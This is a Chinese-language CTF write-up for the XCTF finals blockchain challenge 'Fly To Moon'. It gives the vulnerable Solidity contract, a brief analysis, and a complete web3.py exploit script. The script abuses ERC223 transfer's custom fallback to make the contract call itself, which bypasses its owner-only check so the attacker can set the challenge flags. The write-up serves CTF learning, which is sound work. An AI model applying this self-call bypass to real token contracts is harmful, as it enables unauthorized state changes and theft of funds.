第六届XCTF总决赛区块链 - Fly To Moon 笔记

原理上和Balsn的Election相同。

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
pragma solidity =0.6.12;
pragma experimental ABIEncoderV2;

interface IERC223 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address to, uint value) external returns (bool);
function transfer(address to, uint value, bytes memory data) external returns (bool);
function transfer(address to, uint value, bytes memory data, string memory customFallback) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}

contract ERC223 is IERC223 {
string public override name;
string public override symbol;
uint8 public override decimals;
uint public override totalSupply;
mapping (address => uint) private _balances;
string private constant _tokenFallback = "tokenFallback(address,uint256,bytes)";
}

contract FlyToMoon is ERC223 {
struct Person {
string name;
uint age;
string introduction;
}

address public owner;

bytes32[] Hashes;

uint public stage;
bool private flag1;
bool private flag2;
bool private flag3;
bool private flag4;
string public solved = "begin";
uint randomNumber = RN;

constructor() public ERC223("FlyToMoon", "FTM") {
owner = msg.sender;
}

modifier auth {
require(msg.sender == address(this) || msg.sender == owner, "FlyToMoon: not authorized");
_;
}

function game1(address _person, Person memory person, bool flag) public {
require(stage==0 && flag);
require(person.age > 20, "BabyEncode: only your age > 20 can paly this game");
flag1 = true;
stage = 1;
}

function game2(uint from, uint idx, uint password, uint len, Person[] memory persons) public auth {
require(stage == 1);
require(Hashes[idx] == keccak256(abi.encode(persons)), "FlyToMoon: hash incorrect");
require(Hashes[idx+1] == keccak256(abi.encode(password)), "FlyToMoon: password incorrect");
require(Hashes[idx+2] == keccak256(abi.encode(len)), "FlyToMoon: len incorrect");
require(_stringCompare(persons[0].name, "btc") && _stringCompare(persons[1].introduction, "fly to moon"));
flag2 = true;
}

function game3(uint from, uint _len) public auth {
uint len;
require(stage == 2 && flag2);
assembly {
len := sload(6)
}
require(len==_len);
flag3 = true;
stage = 3;
}

function game4(uint _time, Person memory person, uint flag) public auth {
require(stage == 3);
require(_stringCompare(person.name, "pikapika"));
flag4 = true;
}

function sethash(bytes32 _hash) public {
Hashes.push(_hash);
}

function isSolved() public {
uint tmp;

assembly {
tmp := sload(8)
}

if (keccak256(abi.encodePacked(tmp)) == 0xffc411432425ed5cecf9384ab99646c1825e1fe40ce46b953350782d81a6ecc1) {
if (balanceOf(address(this)) == 10) {
solved = "Fly to Moon";
}
} else {
solved = "Tian Tai Jian";
}
}

function giveMeMoney() public {
require(balanceOf(msg.sender) == 0, "FlyToMoon: you're too greedy");
_mint(msg.sender, 1);
}

function _setStage(uint _stage, uint idx, string memory _command) public auth {
require(_stringCompare(_command, "Let me set stage, please!!!!!!!!"));
stage = _stage & 0xff;
for(uint i=0; i<=idx; i++) {
Hashes.push(0);
}
}

function _stringCompare(string memory a, string memory b) internal pure returns (bool) {
return keccak256(abi.encodePacked(a)) == keccak256(abi.encodePacked(b));
}
}

分析

直接看isSolved检查的条件,要求Storage[8]进行keccak后值为0xffc411432425ed5cecf9384ab99646c1825e1fe40ce46b953350782d81a6ecc1Storage[8]正好是4个bool类型的flag所在的位置,枚举一下发现要求只置位flag2和flag3。

过game2和game3要求过auth修饰符,使用ERC223接口中的transfer让合约调用自身绕过auth修饰符,并且布置calldata与目标函数的calldata格式相吻合。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
from web3 import Web3
from eth_abi import encode_abi
w3 = Web3(Web3.HTTPProvider('http://10.10.10.199:8545'))

# information
owner = '0x7A5e404dcdFC0bB42c28eEcb556CDB5f023f3490'
# w3.eth.get_balance(hacker)
txn_hash = '0xb443e8ace87d248e47438639c1ae2acc6bae50ba4e3f3eca202e37399c57e622'
# w3.eth.getTransaction(txn_hash)
# w3.eth.getTransactionReceipt(txn_hash)
target = '0xf8584cEf6a905c2e05289B667E696e2Ba8Daf781'
public1='0x1399dC6D89C42DAEC74B88CC768f06A53c4f6701'
sk1='------------------------^-^--omitted-^-^------------------------'
public2='0xab302AaBE5F6F2a8370B925E36fEB3481929B102'
sk2='------------------------^-^--omitted-^-^------------------------'
hacker='0xD5dc41C62F613028812F73dD8C1912DEaD529e00'
sk_hacker='------------------------^-^--omitted-^-^------------------------'

def get_txn(src, dst, data, value=0):
return {
"chainId": 8888,
"from": src,
"to": dst,
"gasPrice": w3.toWei(1,'gwei'),
"gas": 0x32185,
"value": w3.toWei(value,'wei'),
"nonce": w3.eth.getTransactionCount(src),
"data": data
}

# set stage to 1
customFallback = "_setStage(uint256,uint256,string)"
command = b'Let me set stage, please!!!!!!!!'
parm = encode_abi(['address', 'uint256', 'bytes', 'string'], [target, 0, command, customFallback])
sel = w3.keccak(b'transfer(address,uint256,bytes,string)')[:4]
data = sel + parm
# signed_txn = w3.eth.account.signTransaction(get_txn(public1, target, data), sk1)
# txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()

# play game 2

# prepare and push hash
hash1=w3.keccak(encode_abi(['(string,uint,string)[]'],[[('btc',1,'2'),('0',1,'fly to moon')]]))
hash2=w3.keccak(encode_abi(['uint'],[0x60]))
hash3=w3.keccak(encode_abi(['uint'],[0x240]))

parm = encode_abi(['bytes32'], [hash1])
sel = w3.keccak(b'sethash(bytes32)')[:4]
data = sel + parm

parm = encode_abi(['bytes32'], [hash2])
data = sel + parm

parm = encode_abi(['bytes32'], [hash3])
data = sel + parm

# get token
sel = w3.keccak(b'giveMeMoney()')[:4]
data = sel
# signed_txn = w3.eth.account.signTransaction(get_txn(hacker, target, data), sk_hacker)
# txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()


# set flag1 on
raw_data = encode_abi(['uint','uint','uint','uint','(string,uint,string)[]'],[0,1,2,3,[('btc',1,'2'),('0',1,'fly to moon')]])[0x20*4:]
customFallback = "game2(uint256,uint256,uint256,uint256,(string,uint256,string)[])"
parm = encode_abi(['address', 'uint256', 'bytes', 'string'], [target, 1, raw_data, customFallback])
sel = w3.keccak(b'transfer(address,uint256,bytes,string)')[:4]
data = sel + parm
# signed_txn = w3.eth.account.signTransaction(get_txn(hacker, target, data), sk_hacker)
# txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()

# set stage to 2
customFallback = "_setStage(uint256,uint256,string)"
command = b'Let me set stage, please!!!!!!!!'
parm = encode_abi(['address', 'uint256', 'bytes', 'string'], [target, 0, command, customFallback])
sel = w3.keccak(b'transfer(address,uint256,bytes,string)')[:4]
data = sel + parm
# signed_txn = w3.eth.account.signTransaction(get_txn(public2, target, data), sk2)
# txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()

# get more token
# for i in range(0x10):
for i in range(0):
# get 1 token to temp account
data = w3.keccak(b'giveMeMoney()')[:4]
signed_txn = w3.eth.account.signTransaction(get_txn(public1, target, data), sk1)
txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)
# transfer to hacker
parm = encode_abi(['address', 'uint256'], [hacker, 1])
sel = w3.keccak(b'transfer(address,uint256)')[:4]
data = sel + parm
signed_txn = w3.eth.account.signTransaction(get_txn(public1, target, data), sk1)
txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)
print('[+] ok idx: '+str(i))

# play game 3
customFallback = "game3(uint256,uint256)"
parm = encode_abi(['address', 'uint256', 'bytes', 'string'], [target, 5, b'not matter', customFallback])
sel = w3.keccak(b'transfer(address,uint256,bytes,string)')[:4]
data = sel + parm
# signed_txn = w3.eth.account.signTransaction(get_txn(hacker, target, data), sk_hacker)
# txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()

# now flag1 and flag2 both on
# send 4 more tokens to target
customFallback = "balanceOf(address)"
parm = encode_abi(['address', 'uint256', 'bytes', 'string'], [target, 4, b'not matter', customFallback])
sel = w3.keccak(b'transfer(address,uint256,bytes,string)')[:4]
data = sel + parm
signed_txn = w3.eth.account.signTransaction(get_txn(hacker, target, data), sk_hacker)
# txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
# txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)

# now can call isSolved
sel = w3.keccak(b'isSolved()')[:4]
data = sel
signed_txn = w3.eth.account.signTransaction(get_txn(hacker, target, data), sk_hacker)
txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
# txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)